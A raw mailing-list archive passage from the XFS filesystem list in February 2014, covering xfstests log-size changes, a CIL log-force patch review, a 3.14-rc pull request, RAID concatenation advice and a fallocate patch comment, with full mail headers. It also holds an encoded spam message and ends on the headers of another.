<5252125B.2040300@sandeen.net> <5252BB9A.2040705@sgi.com> <5307AD41.1000807@sandeen.net> <5307B9C2.4000908@sgi.com> <5307BD7C.808@sandeen.net> In-Reply-To: <5307BD7C.808@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/21/14 14:56, Eric Sandeen wrote: > On 2/21/14, 2:40 PM, Mark Tinguely wrote: >> On 02/21/14 13:47, Eric Sandeen wrote: >>> On 10/7/13, 8:48 AM, Mark Tinguely wrote: >>>> On 10/06/13 20:46, Eric Sandeen wrote: >>>>> On 10/6/13 12:56 PM, Eric Sandeen wrote: >>>>>> On 9/4/13 5:05 PM, Dave Chinner wrote: >>>>>>>> From: Jie Liu >>>>>>>> >>>>>>>> Add source files for xfs_log_rlimit.c The new file is used for log >>>>>>>> size calculations and validation shared with userspace. >>>>>>>> >>>>>>>> [dchinner: xfs_log_calc_max_attrsetm_res() does not modify the >>>>>>>> tr_attrsetm reservation, just calculates the maximum. ] >>>>>>>> >>>>>>>> [dchinner: rework loop in xfs_log_get_max_trans_res() ] >>>>>>>> >>>>>>>> [dchinner: implement xfs_log_calc_unit_res() in util.c to give mkfs >>>>>>>> a worse case calculation of the log size needed. ] >>>>>> 2 things: >>>>>> >>>>>> Ben, seems like your workflow lost the: >>>>>> >>>>>> From: Jie Liu >>>>>> >>>>>> at the top - in git, the author is listed as Dave in git. >>>>>> >>>>>> (Although those [parentheticals] were pretty fundamental changes, >>>>>> something I just gave Rich a hard time for) ;) >>>>>> >>>>>> Also, this now breaks xfstest xfs/216 as a result of the mkfs changes. >>>>>> What are the plans for that? >>>>> >>>>> Sorry, to be clear, it breaks that test (and others, pretty sure) >>>>> because the log sizes for small filesystems are significantly bigger: >>>>> >>>>> -fssize=1g log =internal log bsize=4096 blocks=2560, version=2 >>>>> +fssize=1g log =internal log bsize=4096 blocks=12800, version=2 >>>>> >>>>> -fssize=2g log =internal log bsize=4096 blocks=2560, version=2 >>>>> +fssize=2g log =internal log bsize=4096 blocks=12800, version=2 >>>>> >>>>> -fssize=4g log =internal log bsize=4096 blocks=2560, version=2 >>>>> +fssize=4g log =internal log bsize=4096 blocks=12800, version=2 >>>>> >>>>> -fssize=8g log =internal log bsize=4096 blocks=2560, version=2 >>>>> +fssize=8g log =internal log bsize=4096 blocks=12800, version=2 >>>>> >>>>> -fssize=16g log =internal log bsize=4096 blocks=2560, version=2 >>>>> +fssize=16g log =internal log bsize=4096 blocks=12800, version=2 >>>>> >>>>> -fssize=32g log =internal log bsize=4096 blocks=4096, version=2 >>>>> +fssize=32g log =internal log bsize=4096 blocks=12800, version=2 >>>>> >>>>> -fssize=64g log =internal log bsize=4096 blocks=8192, version=2 >>>>> +fssize=64g log =internal log bsize=4096 blocks=12800, version=2 >>>>> >>>>> fssize=128g log =internal log bsize=4096 blocks=16384, version=2 >>>>> fssize=256g log =internal log bsize=4096 blocks=32768, version=2 >>>>> >>>>> -Eric >>>> >>>> >>>> Separate outputs for different versions of the OS version like we do for 16/32 bit tests' output? >>> >>> I'm not sure what we'd switch on.... >> >> I was thinking of the output of uname(1). Probably easier to filter the results in the test on the OS version rather than have separate golden outputs. > > The behavior depends on the xfsprogs version, though, not the kernel version. > > I .... guess we could do mkfs.xfs -V and split on that. > > I do want to make sure it's all intentional though, first. > > -Eric Sorry, I was thinking of the same change that went into the kernel. The min log size should be at least 3 time the max transaction size. That accounts for the bigger entries. I would be happy to use the new calculations as the correct output since the new calculations are the right thing to do. Goes back to how long should xfstests support older kernels, xfsprogs, etc. --Mark. From david@fromorbit.com Fri Feb 21 16:21:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C5E267F9C for ; Fri, 21 Feb 2014 16:21:17 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 429DEAC001 for ; Fri, 21 Feb 2014 14:21:13 -0800 (PST) X-ASG-Debug-ID: 1393021270-04cbb00c2b68a3f0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id EJTEzMr4TOZhsu5n for ; Fri, 21 Feb 2014 14:21:11 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: As0GAB7QB1N5LJYe/2dsb2JhbABagwaDQ7g7hVOBDxd0giUBAQQBJxMcIwULCAMOBwMJJQ8FJQMhE4d9B8tSFxaOTgeEOASYM5Iog0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 22 Feb 2014 08:51:09 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WGySx-0006no-0A; Sat, 22 Feb 2014 09:21:07 +1100 Date: Sat, 22 Feb 2014 09:21:06 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: always do log forces via the workqueue Message-ID: <20140221222106.GQ13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: always do log forces via the workqueue References: <1392783402-4726-1-git-send-email-david@fromorbit.com> <1392783402-4726-2-git-send-email-david@fromorbit.com> <5304F6F6.3070007@redhat.com> <20140220002358.GH4916@dastard> <53076B05.8010806@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53076B05.8010806@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393021271 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145367 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 21, 2014 at 10:04:37AM -0500, Brian Foster wrote: > On 02/19/2014 07:23 PM, Dave Chinner wrote: > > On Wed, Feb 19, 2014 at 01:24:54PM -0500, Brian Foster wrote: > >> On 02/18/2014 11:16 PM, Dave Chinner wrote: > >>> From: Dave Chinner > >>> > ... > >>> + > >>> + /* > >>> + * The call to xlog_cil_push_now() executes the push in the background. > >>> + * Hence by the time we have got here it our sequence may not have been > >>> + * pushed yet. This is true if the current sequence still matches the > >>> + * push sequence after the above wait loop and the CIL still contains > >>> + * dirty objects. > >>> + * > >>> + * When the push occurs, it will empty the CIL and > >>> + * atomically increment the currect sequence past the push sequence and > >>> + * move it into the committing list. Of course, if the CIL is clean at > >>> + * the time of the push, it won't have pushed the CIL at all, so in that > >>> + * case we should try the push for this sequence again from the start > >>> + * just in case. > >>> + */ > >>> + > >>> + if (sequence == cil->xc_current_sequence && > >>> + !list_empty(&cil->xc_cil)) { > >>> + spin_unlock(&cil->xc_push_lock); > >>> + goto restart; > >>> + } > >>> + > >> > >> IIUC, the objective here is to make sure we don't leave this code path > >> before the push even starts and the ctx makes it onto the committing > >> list, due to xlog_cil_push_now() moving things to a workqueue. > > > > Right. > > > >> Given that, what's the purpose of re-executing the background push as > >> opposed to restarting the wait sequence (as done previously)? It looks > >> like push_now() won't queue the work again due to cil->xc_push_seq, but > >> it will flush the queue and I suppose make it more likely the push > >> starts. Is that the intent? > > > > Effectively. But the other thing that it is protecting against is > > that foreground push is done without holding the cil->xc_ctx_lock, > > and so we can get the situation where we try a foreground push > > of the current sequence, see that the CIL is empty and return > > without pushing, wait for previous sequences to commit, then find > > that the CIL has items on the CIL in the sequence we are supposed to > > be committing. > > > > In this case, we don't know if this occurred because the workqueue > > has not started working on our push, or whether we raced on an empty > > CIL, and hence we need to make sure that everything in the sequence > > we are support to commit is pushed to the log. > > > > Hence if the current sequence is dirty after we've ensure that all > > prior sequences are fully checkpointed, need to go back and > > push the CIL again to ensure that when we return to the caller the > > CIL is checkpointed up to the point in time of the log force > > occurring. > > > > Ok, I see. The foreground variant checks the push sequence and xc_cil > list state without xc_ctx_lock. The background variant (down in > xlog_cil_push()) will repeat the list check while under xc_ctx_lock. > > From what I can see, this potential behavior of a foreground push seeing > an empty cil is possible even before this patch. xlog_cil_force_lsn() > will just wait on all of the previous sequences and return. Another push > can move things along for that sequence, as xc_push_seq has not been > updated. > > The workqueue pattern opens up potential for the "wait before handler > runs" race, and the sequence and list check is necessary to detect that. > Doing the push_now() again seems technically unnecessary, but the flush > executes and thus should guarantee we iterate this sequence twice at > most. Seems reasonable. > > General follow up question - what makes not taking xc_ctx_lock anywhere > in here safe in the first place? In the current implementation, if the > push has already been queued (note that we flush before we take the > spinlock and check the push sequence) and we get into the ctx wait > sequence, isn't it possible to see xc_committing before the ctx we're > pushing is even added? The waiting is serialised on the push lock, not the context lock. The context lock is used to serialise addition to a CIL context with the against the pushing of that sequence. Triggering a push of a CIL context does not need to be serialised addition to the CIL, nor directly against the push of the CIL. A blocking push needs to be serialised against the checkpoint of a CIL context to the iclog, which is a different thing altogether. Hence we don't want to use the xc_ctx_lock for this - it is already a contended lock and we don't want to hold off commits into a new sequence while we wait for a previous sequence to finish pushing. Yes, there are potential races in the exist code. They are fixed by this patch. > With this patch, what prevents us from seeing the updated > xc_current_sequence and thus skipping the restart (xc_current_sequence > isn't updated under the spinlock) before the pushed ctx has been added > to xc_committing? The fact that the patch moves the xc_current_sequence update under the the push_lock avoids this. i.e. it is now only updated atomically with adding the context to the committing list. Both are now explicitly updated at the same time, so you can't see a sequence number greater than what you might find on the list... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Feb 21 16:59:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1B3497FA6 for ; Fri, 21 Feb 2014 16:59:53 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 00C0C8F8050 for ; Fri, 21 Feb 2014 14:59:49 -0800 (PST) X-ASG-Debug-ID: 1393023587-04cb6c6de0694850001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id ru4AlKCZi8oJSxoL for ; Fri, 21 Feb 2014 14:59:47 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqwbAFPZB1N5LJYe/2dsb2JhbABagwY7gwilWAMFkluFU4EMF3SCZhwjGCQ0BSUDIRMUh3DLZBaNd1eEPwSYM5Iog0EogS0BHgY Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 22 Feb 2014 09:29:46 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WGz4J-0006vl-Sc; Sat, 22 Feb 2014 09:59:43 +1100 Date: Sat, 22 Feb 2014 09:59:43 +1100 From: Dave Chinner To: Linus Torvalds Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: [GIT PULL] xfs: fixes for 3.14-rc3 Message-ID: <20140221225943.GR13647@dastard> X-ASG-Orig-Subj: [GIT PULL] xfs: fixes for 3.14-rc3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393023587 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145369 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Linus, This is the first pull request I've had to do for you, so I'm still sorting things out. The reason I'm sending this and not Ben should be obvious from the first commit below - SGI has stepped down from the XFS maintainership role. As such, I'd like to take another opportunity to thank them for their many years of effort maintaining XFS and supporting the XFS community that they developed from the ground up. So I haven't had time to work things like signed tags into my workflows yet, so this is just a repo branch I'm asking you to pull from. And yes, I named the branch -rc4 because I wanted the fixes in -rc4, not because the branch was for merging into -rc3. Probably not right, either. Anyway, I should have everything sorted out by the time the next merge window comes around. If there's anything that you don't like in the pull req, feel free to flame me unmercifully. The changes are fixes for recent regressions and important thinkos in verification code: - a log vector buffer alignment issue on ia32 - timestamps on truncate got mangled - primary superblock CRC validation fixes and error message sanitisation Cheers, Dave. The following changes since commit 38dbfb59d1175ef458d006556061adeaa8751b72: Linus 3.14-rc1 (2014-02-02 16:42:13 -0800) are available in the git repository at: git://oss.sgi.com/xfs/xfs.git xfs-fixes-for-3.14-rc4 for you to fetch changes up to 5ef11eb0700f806c4671ba33e5befa784a2f70ef: xfs: limit superblock corruption errors to actual corruption (2014-02-19 15:39:35 +1100) ---------------------------------------------------------------- Ben Myers (1): MAINTAINERS: SGI no longer maintaining XFS Christoph Hellwig (1): xfs: ensure correct timestamp updates from truncate Dave Chinner (1): xfs: ensure correct log item buffer alignment Eric Sandeen (3): xfs: xfs_sb_read_verify() doesn't flag bad crcs on primary sb xfs: skip verification on initial "guess" superblock read xfs: limit superblock corruption errors to actual corruption MAINTAINERS | 1 - fs/xfs/xfs_iops.c | 16 ++++++++-------- fs/xfs/xfs_log_cil.c | 19 +++++++++++++++---- fs/xfs/xfs_mount.c | 24 ++++++++++++++++-------- fs/xfs/xfs_sb.c | 10 ++++------ 5 files changed, 43 insertions(+), 27 deletions(-) -- Dave Chinner david@fromorbit.com From stan@hardwarefreak.com Fri Feb 21 20:21:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E1A5F7F9E for ; Fri, 21 Feb 2014 20:21:33 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 679B4AC001 for ; Fri, 21 Feb 2014 18:21:30 -0800 (PST) X-ASG-Debug-ID: 1393035689-04cb6c6de26a19f0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id 161TI5deweuLwXxt for ; Fri, 21 Feb 2014 18:21:29 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id CB36E6C127; Fri, 21 Feb 2014 20:21:28 -0600 (CST) Message-ID: <530809A7.70900@hardwarefreak.com> Date: Fri, 21 Feb 2014 20:21:27 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Emmanuel Florac CC: "C. Morgan Hamill" , xfs@oss.sgi.com Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <52E91923.4070706@sandeen.net> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> <20140202212152.GP2212@dastard> <1391443675-sup-1730@al.wesleyan.edu> <20140203214128.GR13997@dastard> <52F09E36.8050606@hardwarefreak.com> <1392748390-sup-1943@al.wesleyan.edu> <5303E7AC.50903@hardwarefreak.com> <20140220183125.29149.64880@al.wesleyan.edu> <5306C90B.1000904@hardwarefreak.com> <20140221095742.0ca161b0@galadriel.home> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <20140221095742.0ca161b0@galadriel.home> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1393035689 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/21/2014 2:57 AM, Emmanuel Florac wrote: > Le Thu, 20 Feb 2014 21:33:31 -0600 vous écriviez: > >> Forget all of this. Forget RAID60. I think you'd be best served by a >> concatenation. > > I fully agree, though I'd use... LVM to perform the concatenation, > much more convenient and easy to use than md IMO. Using md linear eliminates the LVM physical extent size non power of 2 misalignment issue we discussed at length up thread. Using LVM makes things decidedly more difficult and for zero gain. LVM just isn't appropriate for Morgan's situation. Now, it's possible he could do this entirely in the RAID firmware. However he has not stated which storage product he has, and thus I don't know its capabilities, whether it can create or seamlessly expand a concatenation. Linux md can do all of this very easily and is deployed by many people in this exact scenario. -- Stan From region905@inforegion.com.ar Sat Feb 22 04:52:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9A08E7F93 for ; Sat, 22 Feb 2014 04:52:58 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6D1098F804C for ; Sat, 22 Feb 2014 02:52:54 -0800 (PST) X-ASG-Debug-ID: 1393066369-04bdf00fca2a4400001-NocioJ Received: from vps1.inforegion.com.ar (customer-static-210-204-20.iplannetworks.net [190.210.204.20]) by cuda.sgi.com with ESMTP id AstAdwO66B2qvTnJ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 22 Feb 2014 02:52:50 -0800 (PST) X-Barracuda-Envelope-From: region905@inforegion.com.ar X-Barracuda-Apparent-Source-IP: 190.210.204.20 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=inforegion.com.ar; s=default; h=Content-Type:MIME-Version:Date:Subject:To:From:Message-ID; bh=ub/vh9IF9oyaRAF6V//FChELG7ePKlAH7MpCIm8Xy+4=; b=sCwculB9YAoSR0n+MIzkiAlriFuHbIibMARQjanv+0MjrBTnR11UvSt7YNznj8OOk56Vg0SXAw2TKcTK5Z9X3O4zDQIwEKbySDKVYONu5ZkyVIFgPkjICXd1oo/3VLSuJpHzc4aG+/f2tQxRoV6+a51ZYzuovQ4OgZF5l0my49Q=; Received: from [117.241.59.10] (port=2857 helo=itblv) by vps1.inforegion.com.ar with esmtpa (Exim 4.82) (envelope-from ) id 1WHAHG-0006wS-Nj; Sat, 22 Feb 2014 07:57:51 -0300 Message-ID: <6235311B7A194178BC7591ACB4E67158@nswyue> From: "Margaret Skapura" To: "xfs" , "sales" Subject: =?windows-1251?B?7+7k8ODh7vLg8vwg7eAg4ejt4PDt+/Ug7u/2?= =?windows-1251?B?6O7t4PUhISwg7sjm4O/o6Q==?= Date: Sat, 22 Feb 2014 17:55:16 +0600 X-ASG-Orig-Subj: =?windows-1251?B?7+7k8ODh7vLg8vwg7eAg4ejt4PDt+/Ug7u/2?= =?windows-1251?B?6O7t4PUhISwg7sjm4O/o6Q==?= MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0979_01CF2FF7.3DFF8FE0" X-Priority: 3 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - vps1.inforegion.com.ar X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - inforegion.com.ar X-Get-Message-Sender-Via: vps1.inforegion.com.ar: authenticated_id: region905@inforegion.com.ar X-Barracuda-Connect: customer-static-210-204-20.iplannetworks.net[190.210.204.20] X-Barracuda-Start-Time: 1393066370 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_TG035a, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145386 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_0979_01CF2FF7.3DFF8FE0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =ED=E0=F0=E0=E1=EE=F2=E0=F2=FC =ED=E0 =E1=E8=ED=E0=F0=ED=FB=F5 =EE=EF=F6=E8= =EE=ED=E0=F5 =D7=E8=F2=E0=F2=FC =E4=E0=EB=E5=E5... ------=_NextPart_000_0979_01CF2FF7.3DFF8FE0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=ED=E0=F0=E0=E1=EE=F2=E0=F2= =FC =ED=E0 =E1=E8=ED=E0=F0=ED=FB=F5 =EE=EF=F6=E8=EE=ED=E0=F5
=D7=E8=F2=E0=F2=FC =E4=E0=EB=E5=E5...
------=_NextPart_000_0979_01CF2FF7.3DFF8FE0-- From tytso@thunk.org Sat Feb 22 08:06:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B3B0C7F82 for ; Sat, 22 Feb 2014 08:06:37 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 85581304081 for ; Sat, 22 Feb 2014 06:06:34 -0800 (PST) X-ASG-Debug-ID: 1393077992-04cbb00c2a6c0980001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id pqkcuPpgKa4oz7s9 (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Sat, 22 Feb 2014 06:06:32 -0800 (PST) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1WHDDm-0004az-Lc; Sat, 22 Feb 2014 14:06:26 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 041A95802D4; Sat, 22 Feb 2014 09:06:25 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1393077986; bh=9nM+hlNV6jorTwpfc68FZ/MhV3hbFNeOfO1WbWCYKLA=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=JiieLQvSY7SZCRoLHu1v90SMcoHcmacxno1LPLc3s0HyCVWmff4jQ+7lniYo/UR2e uIHRHLef3bh+oNd5UPUSNfSB9uRcUf3BzcEHYr8w+62J6WKnV9NcIv3xhIq3tSX6a8 LI8+tj+ElWumhJO2gYqEs6ZFwfvRHFLP09AUUnrg= Date: Sat, 22 Feb 2014 09:06:25 -0500 From: Theodore Ts'o To: Namjae Jeon Cc: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH v5 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: <20140222140625.GD26637@thunk.org> X-ASG-Orig-Subj: Re: [PATCH v5 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Mail-Followup-To: Theodore Ts'o , Namjae Jeon , viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan References: <1392741464-20029-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392741464-20029-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1393077992 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145390 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Wed, Feb 19, 2014 at 01:37:43AM +0900, Namjae Jeon wrote: > + /* > + * There is no need to overlap collapse range with EOF, in which case > + * it is effectively a truncate operation > + */ > + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && > + (offset + len >= i_size_read(inode))) > + return -EINVAL; > + I wonder if we should just translate a collapse range that is equivalent to a truncate operation to, in fact, be a truncate operation? - Ted From colonelallkurdimalik@yahoo.com Sat Feb 22 09:27:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.4 required=5.0 tests=FORGED_YAHOO_RCVD, FREEMAIL_FROM,FREEMAIL_REPLYTO,T_FILL_THIS_FORM_SHORT autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DBEC17F57 for ; Sat, 22 Feb 2014 09:27:17 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C1CAB8F8037 for ; Sat, 22 Feb 2014 07:27:14 -0800 (PST) X-ASG-Debug-ID: 1393082832-04cbb00c2a6c5d80001-w1Z2WR Received: from mail.pallamanoitalia.it (mail.pallamanoitalia.it [83.103.59.151]) by cuda.sgi.com with ESMTP id DBvsPuxYK1be8ded (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 22 Feb 2014 07:27:13 -0800 (PST) X-Barracuda-Envelope-From: colonelallkurdimalik@yahoo.com X-Barracuda-Apparent-Source-IP: 83.103.59.151 Received: (qmail 21988 invoked from network); 22 Feb 2014 16:27:04 +0100 Received: from unknown (HELO webmail.pallamanoitalia.it) (127.0.0.1) by mail.pallamanoitalia.it with SMTP; 22 Feb 2014 16:27:04 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 